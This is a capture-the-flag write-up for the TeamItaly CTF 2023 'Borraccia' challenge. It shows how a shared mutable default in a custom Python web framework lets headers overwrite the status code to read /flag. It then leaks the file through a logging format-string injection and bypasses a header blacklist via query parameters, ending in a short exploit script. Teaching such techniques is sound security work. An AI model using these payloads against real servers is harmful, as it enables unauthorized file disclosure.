Rating:
# TeamItaly CTF 2023
## [web] Borraccia (2 solves)
## Overview
In this challenge we are given an application which uses a custom, poorly-written web framework, called `Borraccia` (Flask in italian).
The challenge is tagged as a `misc`, so we probably need to use some Python shenanigans in order to solve the challenge.
The first thing that catches our attention is something called `ObjDict`, let's see how it's implemented and what it does:
```python
class ObjDict:
def __init__(self, d={}):
self.__dict__['_data'] = d # Avoiding Recursion errors on __getitem__
def __getattr__(self, key):
if key in self._data:
return self._data[key]
return None
def __contains__(self, key):
return key in self._data
def __setattr__(self, key, value):
self._data[key] = value
def __getitem__(self, key):
return self._data[key]
def __setitem__(self, key, value):
self._data[key] = value
def __delitem__(self, key):
del self._data[key]
def __enter__(self, *args):
return self
def __exit__(self, *args):
self.__dict__["_data"].clear()
def __repr__(self):
return f"ObjDict object at <{hex(id(self))}>"
def __iter__(self):
return iter(self._data)
```
Basically, this class works like an object in JavaScript:
```python
obj = ObjDict() # We can also use `with` operator
obj.first = 10
obj.second = "20"
print(obj.first) # 10
print(obj.second) # 20
print(obj.third) # None
print(obj.secondobj.first) # Error
obj.secondobj = ObjDict()
obj.secondobj.test = "yay"
print(obj.secondobj.test) # yay
```
At first glance this class would seem fine, but if you know at least the basics of Python, you can see that this class uses a [mutable object as default argument](https://florimond.dev/en/posts/2018/08/python-mutable-defaults-are-the-source-of-all-evil/)!
So, each and every instance of ObjDict shares the same dictionary!
This will come in handy later...
## Read a file using status codes
We need to read the flag from /flag somehow, so there's probably a path traversal.
We can see three interesting functions:
- `serve_file`
- `serve_static_file`
- `serve_error`
The first two functions are not used inside `server.py`, so the only function left is `serve_error`.
Inside `server.py`:
```python
ctx.response.body = utils.serve_error(ctx.response.status_code)
```
If we can control the value of `status_code`, we can read arbitrary files.
But... How?! Isn't `status_code` only modified by the server?
Let's see how the request/response is handled:
```py
ctx.response = ObjDict()
ctx.request = ObjDict()
ctx.response.status_code = 200 # Default value
```
Oh! Did you see that? `ctx.response` and `ctx.request` shares the same dictionary!
We can overwrite values thanks to:
```python
for probable_header in filter(None, rows[1:]): # Memorizing headers
if (cap:=HEADER_RE.search(probable_header)):
header = cap.group(1)
value = cap.group(2)
h = utils.normalize_header(header)
v = utils.normalize_header_value(value)
ctx.request[h] = v
```
So, if we send a request with `status-code: /flag` the server will send the flag to us... Right?
Unfortunately no, let's take a look inside `request_handler`:
## Playing with string formatting
```python
try:
utils.build_header(ctx) # Now the response is ready to be sent
utils.log(logging, f"[{curr}]\t{ctx.request.method}\t{ctx.response.status_code}\t{address[0]}", "DEBUG", ctx)
assert ctx.response.status_code in ERRORS or ctx.response.status_code == 200
except AssertionError:
raise # Something unexpected happened, close conection immediately
except Exception as e:
ctx.response.status_code = 500
ctx.response.header = ""
ctx.response.body = utils.serve_error(ctx.response.status_code) + utils.make_comment(f"{e}") # Something went wrong while building the header.
client.send((ctx.response.header + ctx.response.body).encode())
```
The flag will be loaded inside ctx.response.body but it will not be sent due to that `assert`, but if we're able to cause an exception (but not an AssertionError) with the flag inside, we can receive it.
The first error that came into my mind is, `KeyError`:
```python
test = {}
flag = "flag{fake}"
try:
test[flag]
except KeyError as e:
print(e) # 'flag{fake}'
```
Let's see how `utils.log` is implemented:
```python
def log(log, s, mode="INFO", ctx=None):
{
"DEBUG": log.debug,
"INFO": log.info,
"ERROR": log.error
}[mode](s.format(ctx), {"mode": mode})
```
Do you see something SUSpicious? Of course you do. We can exploit `s.format` in order to force logging to cause an exception:
```python
def log(log, s, mode="INFO", ctx=None):
{
"DEBUG": log.debug,
"INFO": log.info,
"ERROR": log.error
}[mode](s.format(ctx), {"mode": mode})
try:
log(logging, "%(flag{fake_flag})s")
except Exception as e:
print(e) # flag{fake_flag}
```
We can send a similar header in order to get the flag:
```
status-code: %({0[response][body]})s
```
But this is not going to work, there's a blacklist:
```python
@lru_cache
def normalize_header_value(s: str) -> str:
return re.sub(r"[%\"\.\n\'\!:\(\)]", "", s)
```
So we can't use the following characters: `%".\n'!:()`
Since the blacklist is applied only to headers, we can bypass this by e.g putting those blacklisted characters inside request.params.
## Exploit
```python
import re
import requests
r = requests.get("http://borraccia.challs.teamitaly.eu?a=%(&b=)s",
headers={
"status-code": "/flag",
"method": "{0[request][params][a]}{0[response][body]}{0[request][params][b]}"
})
print("FLAG:", re.search(r"", r.text).group(1))
```
## Flag
`flag{4Ss3r7_3v3ry7h1nG!1!1!}`